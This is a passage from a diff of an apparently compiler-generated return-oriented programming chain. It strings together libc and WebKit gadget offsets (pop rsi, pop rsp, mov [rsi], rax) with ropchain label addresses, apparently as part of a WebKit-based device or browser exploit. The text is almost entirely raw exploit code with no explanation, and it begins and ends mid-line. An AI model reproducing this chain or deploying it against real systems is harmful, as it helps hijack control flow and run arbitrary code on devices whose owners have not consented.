-libc_base+793877 //pop rsi +libc_base+759626, //mov rax, r8 +libc_base+792472 //pop rcx ]); -//L4500: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax //L4501: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4502: +db([4294967284, 4294967295]); // -0xc set_gadgets([ libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+261328, //L4503 +ropchain+261816, //L4506 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L4502: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4503: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+261400, //L4505 +ropchain+261800, //L4504 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); //L4504: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4505: db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+261472, //L4507 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); +set_gadget(libc_base+206806,); //pop rdi //L4506: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4507: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+261544, //L4509 +ropchain+261984, //L4509 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+262000, //L4510 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+261968, //L4507 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+261952, //L4508 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L4508: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax +db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L4507: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4509: db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+261616, //L4511 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L4510: -db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L4511: +//L4510: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+261688, //L4513 +ropchain+262160, //L4514 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+262112, //L4512 +webkit_base+7438103, //mov [rsi], rax +webkit_base+1786005, //mov rax, r11 +libc_base+793877, //pop rsi +ropchain+262144, //L4513 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L4512: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax +db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L4511: +db([4, 0]); // 0x4 +set_gadget(libc_base+206806,); //pop rdi //L4513: db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L4514: +db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+261760, //L4515 +ropchain+262232, //L4515 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+262248, //L4516 +webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx ]); -//L4514: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax //L4515: db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L4516: +db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+261832, //L4517 +ropchain+262336, //L4517 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L4516: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax //L4517: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+261904, //L4519 +ropchain+262392, //L4519 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L4518: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax //L4519: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([4294967288, 4294967295]); // -0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+261976, //L4521 +ropchain+262528, //L4522 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L4520: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4521: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+262048, //L4523 +ropchain+262544, //L4523 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+262512, //L4521 +webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx ]); +//L4521: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4522: -db([1, 0]); // 0x1 +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L4523: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+262120, //L4525 +ropchain+262712, //L4526 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L4524: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4525: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+262192, //L4527 +ropchain+262728, //L4527 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+262696, //L4524 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+262680, //L4525 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); +//L4525: +db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L4524: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4526: -db([1, 0]); // 0x1 +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L4527: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+262264, //L4529 +ropchain+262800, //L4528 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+262816, //L4529 +webkit_base+7438103, //mov [rsi], rax +libc_base+206806 //pop rdi ]); //L4528: -db([1, 0]); // 0x1 +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L4529: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+262336, //L4531 +ropchain+262912, //L4531 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +webkit_base+1786005, //mov rax, r11 +libc_base+793877, //pop rsi +ropchain+262896, //L4530 +webkit_base+7438103, //mov [rsi], rax +libc_base+206806 //pop rdi ]); //L4530: -db([1, 0]); // 0x1 +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L4531: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+262408, //L4533 -webkit_base+7438103, //mov [rsi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+788575, //pop rax +//L4533: +ropchain+263016, //L4532 libc_base+793877 //pop rsi ]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+811575, //pop rsp +ropchain+275416, //L4336 //L4532: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4533: -db([0, 0]); // 0x0 +libc_base+882884, //mov rax, rcx +libc_base+793877 //pop rsi +]); +db([4294967256, 4294967295]); // -0x28 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+262480, //L4535 +ropchain+263152, //L4535 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+263168, //L4536 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+263136, //L4534 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L4534: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4535: db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+262552, //L4537 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L4536: -db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L4537: +//L4536: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+262624, //L4539 +ropchain+263272, //L4539 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L4538: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4539: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+262696, //L4541 +ropchain+263320, //L4541 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +webkit_base+1786005, //mov rax, r11 +libc_base+793877, //pop rsi +ropchain+263304, //L4540 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); +//L4539: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4538: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4540: -db([1, 0]); // 0x1 +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L4541: db([0, 0]); // 0x0 set_gadgets([ +webkit_base+11676600, //cmp rax, rsi ; sete al +libc_base+269973, //movzx eax, al +webkit_base+414627, //shl rax, 3 +libc_base+793877, //pop rsi +ropchain+263432, //L4542+8 libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+262768, //L4543 +ropchain+263424, //L4542 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +webkit_base+1786005, //mov rax, r11 +libc_base+811575 //pop rsp ]); //L4542: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4543: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +ropchain+263448, //L4542+24 +ropchain+263896, //L4537 +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+262840, //L4545 +ropchain+263488, //L4543 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L4544: -db([1, 0]); // 0x1 +//L4543: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax +//L4544: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4545: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+262912, //L4547 +ropchain+263688, //L4548 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L4546: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4547: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+262984, //L4549 +ropchain+263704, //L4549 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+263672, //L4546 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+263656, //L4547 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); +//L4547: +db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L4546: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4548: -db([1, 0]); // 0x1 +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L4549: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+263056, //L4551 +ropchain+263776, //L4550 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+263792, //L4551 +webkit_base+7438103, //mov [rsi], rax +libc_base+206806 //pop rdi ]); //L4550: -db([1, 0]); // 0x1 +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L4551: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+263128, //L4553 +ropchain+263888, //L4553 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +webkit_base+1786005, //mov rax, r11 +libc_base+793877, //pop rsi +ropchain+263872, //L4552 +webkit_base+7438103, //mov [rsi], rax +libc_base+206806 //pop rdi ]); //L4552: -db([1, 0]); // 0x1 +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L4553: db([0, 0]); // 0x0 +//L4537: +//L4554: set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+263200, //L4555 +ropchain+263936, //L4555 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+759626, //mov rax, r8 +libc_base+792472 //pop rcx ]); -//L4554: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax //L4555: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4556: +db([4294967284, 4294967295]); // -0xc set_gadgets([ libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+263272, //L4557 +ropchain+264056, //L4560 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L4556: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4557: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+263344, //L4559 +ropchain+264040, //L4558 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); //L4558: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4559: db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+263416, //L4561 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); +set_gadget(libc_base+206806,); //pop rdi //L4560: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4561: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+263488, //L4563 +ropchain+264224, //L4563 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+264240, //L4564 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+264208, //L4561 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+264192, //L4562 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L4562: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax +db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L4561: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4563: db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L4564: +db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+263560, //L4565 +ropchain+264336, //L4566 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +webkit_base+1786005, //mov rax, r11 +libc_base+793877, //pop rsi +ropchain+264320, //L4565 +webkit_base+7438103, //mov [rsi], rax +libc_base+206806 //pop rdi ]); -//L4564: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax //L4565: db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L4566: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+263632, //L4567 +ropchain+264424, //L4568 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L4566: +//L4567: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L4567: +//L4568: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+263704, //L4569 +ropchain+264480, //L4569 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+759626, //mov rax, r8 +libc_base+792472 //pop rcx ]); -//L4568: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax //L4569: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4570: +db([4294967284, 4294967295]); // -0xc set_gadgets([ libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+263776, //L4571 +ropchain+264560, //L4572 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L4570: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4571: +//L4572: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+263848, //L4573 -webkit_base+7438103, //mov [rsi], rax +libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -//L4572: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4573: -db([0, 0]); // 0x0 +db([4294967288, 4294967295]); // -0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+811575, //pop rsp +ropchain+255984, //L4353 +//L4386: libc_base+793877, //pop rsi -ropchain+263920, //L4575 +ropchain+264656, //L4574 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+759626, //mov rax, r8 +libc_base+792472 //pop rcx ]); //L4574: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4575: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4575: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+263992, //L4577 +ropchain+264776, //L4579 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L4576: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4577: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+264064, //L4579 +ropchain+264760, //L4577 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L4578: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax +//L4577: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4579: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+264136, //L4581 +ropchain+264880, //L4580 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+264928, //L4583 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+264912, //L4582 +webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx ]); //L4580: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi //L4581: +db([12, 0]); // 0xc +set_gadget(libc_base+206806,); //pop rdi +//L4582: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L4583: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+264208, //L4583 +ropchain+265032, //L4586 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L4582: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4583: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+264280, //L4585 +ropchain+265016, //L4584 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); //L4584: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4585: db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+264352, //L4587 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); +set_gadget(libc_base+206806,); //pop rdi //L4586: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4587: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+264424, //L4589 +ropchain+265200, //L4589 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+265216, //L4590 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+265184, //L4587 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+265168, //L4588 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L4588: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax +db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L4587: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4589: db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L4590: +db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+264496, //L4591 +ropchain+265312, //L4592 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +webkit_base+1786005, //mov rax, r11 +libc_base+793877, //pop rsi +ropchain+265296, //L4591 +webkit_base+7438103, //mov [rsi], rax +libc_base+206806 //pop rdi ]); -//L4590: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax //L4591: db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L4592: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+264568, //L4593 -webkit_base+7438103, //mov [rsi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+788575, //pop rax +//L4594: +ropchain+265416, //L4593 libc_base+793877 //pop rsi ]); -//L4592: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4593: -db([0, 0]); // 0x0 +db([8, 0]); // 0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+264640, //L4595 -webkit_base+7438103, //mov [rsi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+811575, //pop rsp +ropchain+172424, //_get_tclass +//L4593: +libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); -//L4594: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4595: -db([0, 0]); // 0x0 +db([4294967288, 4294967295]); // -0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+264712, //L4597 +ropchain+265552, //L4596 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+265568, //L4597 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+265536, //L4595 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); +//L4595: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4596: -db([1, 0]); // 0x1 +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L4597: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+264784, //L4599 +ropchain+265656, //L4598 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L4598: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4599: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+264856, 